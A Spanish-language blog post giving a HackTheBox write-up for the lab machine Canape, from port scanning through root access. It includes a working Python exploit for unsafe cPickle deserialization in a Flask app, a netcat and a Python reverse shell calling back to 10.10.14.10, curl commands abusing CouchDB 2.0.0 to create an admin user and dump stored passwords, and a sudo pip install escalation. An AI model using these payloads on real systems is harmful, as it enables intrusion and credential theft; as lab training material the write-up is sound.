Saltar al contenido
Volver al Blog

hackthebox · 4 min de lectura

WriteUp - Canape (HackTheBox)

Write-up de Canape (HackTheBox). Máquina Linux intermedia que explota una deserialización insegura de pickle en un sitio Flask + CouchDB. Incluye RCE vía XXE-like en pickle, enumeración de CouchDB y escalada a root abusando de sudo pip install.

· Manuel López Pérez · hackthebox

Write-up de Canape (HackTheBox). Máquina Linux intermedia que explota una deserialización insegura de pickle en un sitio Flask + CouchDB. Incluye RCE vía XXE-like en pickle, enumeración de CouchDB y escalada a root abusando de sudo pip install.

En este post haremos la máquina Canape de HackTheBox. Es una maquina Linux de un nivel medio y una de mis favoritas. Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

nmap -p- 10.10.10.70 nmap -sC -sV -p80,65535 10.10.10.70

Como leemos en la salida del nmap, hay un git que podría tener algo interesante. Vamos a descargarlo para revisarlo:

git clone http://git.canape.htb

Añadimos la linea ‘10.10.10.70 git.canape.htb canape.htb’ a nuestro fichero /etc/hosts Ahora vamos a revisar la web: Se trata de una Fan Page de los Simpsons. Vamos a ver que hay en el git: Lo único interesante parece ser el fichero init.py :

 import couchdb import string import random import base64 import cPickle from flask import Flask, render_template, request from hashlib import md5

app = Flask(__name__) app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404) def page_not_found(e): if random.randrange(0, 2) > 0: return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250))) else: return render_template("index.html")

@app.route("/") def index(): return render_template("index.html")

@app.route("/quotes") def quotes(): quotes = [] for id in db: quotes.append({"title": db[id]["character"], "text": db[id]["quote"]}) return render_template('quotes.html', entries=quotes)

WHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty" ]

@app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None

if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True

return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read()

if "p1" in data: item = cPickle.loads(data) else: item = data

return "Still reviewing: " + item

if __name__ == "__main__": app.run()

En este fichero vemos el funcionamiento del portal (http://canape.htb). Vemos que en el campo ‘char’ del /submit debemos añadir alguno de los elementos de WHITELIST, en cambio el campo ‘quote’ no tiene ninguna restricción y podemos incluir lo que queramos. Se creará un fichero en /tmp cuyo nombre será char + quote en MD5 y con la extensión .p que corresponde con la extensión de un fichero Pickle, el contenido de este fichero será char + quote. Además vemos que si hacemos una POST request adecuada al /check (el parámetro id debe ser el char+quote en MD5 que habremos enviado al /submit), el sistema ejecutará el método cPickle.loads del contenido del fichero que se crea en el /submit.

Vamos a buscar vulnerabilidades de Pickle: Encontramos: https://lincolnloop.com/blog/playing-pickle-security/ En esta página encontramos un pequeño script que nos permitira crear nuestro payload:

 import os import cPickle

# Exploit that we want the target to unpickle class Exploit(object): def __reduce__(self): return (os.system, ('ls',))

shellcode = cPickle.dumps(Exploit()) print shellcode

Como vemos en el gif, cPickle.loads ejecutará como comando del sistema el contenido de shellcode.

Como veiamos en el init.py n el campo ‘char’ de nuestro payload debemos añadir el nombre de algún personaje, veamos como ‘bypassear’ esto: Obviamente el comando ‘homer’ no lo encuentra pero el pwd sí que nos lo ejecuta.

Explotación

Con todas las pruebas anteriores ya podemos crearnos nuestro payload:

 import os import cPickle from hashlib import md5 import requests

class Exploit(object): def __reduce__(self): return (os.system, ('homer:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 7777 >/tmp/f',))

shellcode = cPickle.dumps(Exploit())

requests.post("http://10.10.10.70/submit", data={'character': shellcode.split(":")[0], 'quote': shellcode.split(":")[1]}) requests.post("http://10.10.10.70/check", data={'id': md5(shellcode.split(":")[0] + shellcode.split(":")[1]).hexdigest()})

Post-Explotación

Revisando la salida del LinEnum.sh o mediante netstat vemos que se está escuchando en el puerto 5984, que corresponde con CouchDB.

netstat -plnt

curl http://127.0.0.1:5984

Buscamos vulnerabilidades de CouchDB en la versión 2.0.0 y encontramos https://justi.cz/security/2017/11/14/couchdb-rce-npm.html Que nos permitirá crear un usuario con permisos para leer las bases de datos.

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops' --data-binary '{"type": "user", "name": "manuqwerty","roles": ["_admin"],"roles": [],"password": "password"}' curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u oops:password

En la salida de estos comandos leemos:

"item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user"

En el fichero /etc/passwd encontramos que existe un usuario homer:

Una vez somos homer podemos acceder al primer flag. El siguiente paso será ver si podemos ejecutar algo como root:

sudo -l

Como veis podemos ejecutar pip install * como root! Abusando de esto, para leer el flag nos bastará con:

sudo pip install -r /root/root.txt

Si queremos obtener shell cómo root, podemos crearnos un fichero setup.py malicioso que nos devuelva shell:

import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.10",8080)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

    Share:
    Volver al Blog

    Posts Relacionados

    Ver Todos los Posts »
    WriteUp – Cascade (HackTheBox)

    hackthebox · 5 min

    WriteUp – Cascade (HackTheBox)

    Write-up de Cascade (HackTheBox): máquina Windows media que explota LDAP para enumerar usuarios y atributos ocultos, obtiene credenciales de VNC en registro, revierte binario .NET para clave AES, y recupera contraseña de admin de objetos eliminados en Active Directory Recycle Bin.

    · Manuel López Pérez

    Retos HackTheBox – Web: HDC

    hackthebox · 4 min

    Retos HackTheBox – Web: HDC

    Primer reto web de la serie HackTheBox retirados. Aprendemos a bypassar un login hardcoded en JavaScript, descubrir un área secreta con una lista de emails y usar Intruder (ZAP o Burp) para encontrar la dirección especial que revela la flag.

    · Manuel López Pérez

    WriteUp – Bounty (HackTheBox)

    hackthebox · 3 min

    WriteUp – Bounty (HackTheBox)

    Write-up de Bounty (HackTheBox). Máquina Windows fácil que explota una vulnerabilidad en IIS permitiendo subir un web.config malicioso para ejecutar código ASP y obtener RCE. Luego escalamos privilegios con Metasploit (MS10-092).

    · Manuel López Pérez